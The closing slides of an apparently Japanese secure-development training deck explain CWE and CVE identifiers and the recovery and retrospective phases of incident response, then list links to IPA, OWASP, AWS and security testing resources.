 CWEとは 共通脆弱性タイプ一覧と呼ばれ、ソフトウェアにおけるセキュリティ上の脆 弱性の種類を識別するための共通の基準 多種多様な脆弱性の種類を脆弱性タイプとして分類し、それぞれに 一意のID(CWE-ID)を付与して、階層構造で体系化している 抽象的な概念が上位層で定義され、下位層では具体的な脆弱性タイプや 個々の脆弱性が表される
261. CVE
 CVEとは 日本語では共通脆弱性識別子で、個別製品中の脆弱性に採番されるID CVE-IDと呼ばれ「CVE-西暦-連番」と構成されており、 CVE-2024-0010のようにIDがつく 特定の脆弱性に対策を行うのであれば、CVE-IDで検索を実施して セキュリティベンダーや開発者が作成した対応策などを実施する
262. インシデント対応フロー : 復旧 封じ込 め
 根絶
 復旧
 振り返 り
 検知
 復旧 影響を受けたシステムを元の稼働状況に戻し、 再びインシデントが発生しないようにするフェーズ
263. インシデント対応フロー : 復旧
 復旧
 環境を再度公開した際に、同様の攻撃や他の手段で再度攻撃されること がないことを確認する必要があります
 復旧を円滑に進めるために
 • システムの動作を確認するためのテスト、検証方法
 • 再び攻撃を受けていないかどうかの監視基盤
 • 受けた攻撃ごとの復旧方法の検討
 など、事前に対策を準備しておきます

264. インシデント対応フロー : 振り返り 封じ込 め
 根絶
 復旧
 振り返 り
 検知
 振り返り インシデント対応の振り返りを行い、 再発防止策やセキュリティの向上を考えるフェーズ
265. インシデント対応フロー : 振り返り
 振り返り
 どういう攻撃をされて、何が起きて、どうすれば防げていたのかを明らか にして、今後の対策やセキュリティの向上に努めます
 インシデント対応の総括として、振り返った内容をまとめて今後の開発・ 運用に生かしていくことが大事です
 また、振り返りのためにインシデント対応の時系列や対応のために行った 行動などはできるだけ詳細に残すべきです

266. インシデント対応 : まとめ
 まとめ
 • ミスがインシデントにならないよう予防を行うこと
 • どれだけ予防してもインシデントが起きうる
 • インシデント発生時のために準備をしておくこと
 インシデントかも？と思ったらセキュリティチームに
 相談してください

267. まとめ
268. まとめ
 開発におけるセキュリティ
 • 設計の段階からセキュリティを意識しておくこと
 • その中での取り組み方
 代表的な攻撃例
 • インシデントがどのような原因で起こるのか
 • インシデントによってどのような被害を受けるのか

269. まとめ
 領域ごとのセキュリティ対策
 • 脆弱性を作らないために考慮すべきこと
 • インシデントが発生する原因、その影響
 インシデント対応
 • インシデントを発生させないために予防を行うこと
 • インシデントが起きた時のために備えておくこと

270. おわり
271. Appendix
272. リンク集 ▪ 安全なWebサイトの作り方　 https://www.ipa.go.jp/security/vuln/websecurity/about.html ▪ セキュリティバイデザイン導入指南書 https://www.ipa.go.jp/jinzai/ics/core_human_resource/final_project/2022/secu rity-by-design.html ▪ 共通脆弱性タイプ一覧CWE概説 https://www.ipa.go.jp/security/vuln/scap/cwe.html ▪ 共通脆弱性識別子CVE概説 https://www.ipa.go.jp/security/vuln/scap/cve.html
273. リンク集 ▪ OWASP Developer Guide https://owasp.org/www-project-developer-guide/release/ ▪ OWASP DevSecOps Guideline https://owasp.org/www-project-devsecops-guideline/ ▪ OWASP TOP 10 https://owasp.org/Top10/ ▪ OWASP Mobile Top 10 https://owasp.org/www-project-mobile-top-10/2023-risks/ 

274. リンク集 ▪ AWS Best Practices for Security, Identity, & Compliance https://aws.amazon.com/jp/architecture/security-identity-compliance/ ▪ クラウドセキュリティ〜設定ミスとの付き合い方〜 https://www.ipa.go.jp/jinzai/ics/core_human_resource/final_project/2023/c loud-security.html

275. リンク集 ▪ OWASP ZAP https://www.zaproxy.org/ ▪ Burp Suite Community https://portswigger.net/burp/communitydownload ▪ OWASP Juice Shop https://github.com/juice-shop/juice-shop ▪ BadTodo https://github.com/ockeghem/badtodo
276. リンク集 ▪ Androidアプリのセキュア設計・セキュアコーディングガイド https://www.jssec.org/report/securecoding.html ▪ Introduction to Secure Coding Guide (iOS) https://developer.apple.com/library/archive/documentation/Security/Conc eptual/SecureCodingGuide/Introduction.html ▪ OWASP Mobile Application Security Verification Standard https://mas.owasp.org/MASVS/ ▪ OWASP Mobile Security Testing Guide https://mas.owasp.org/MASTG/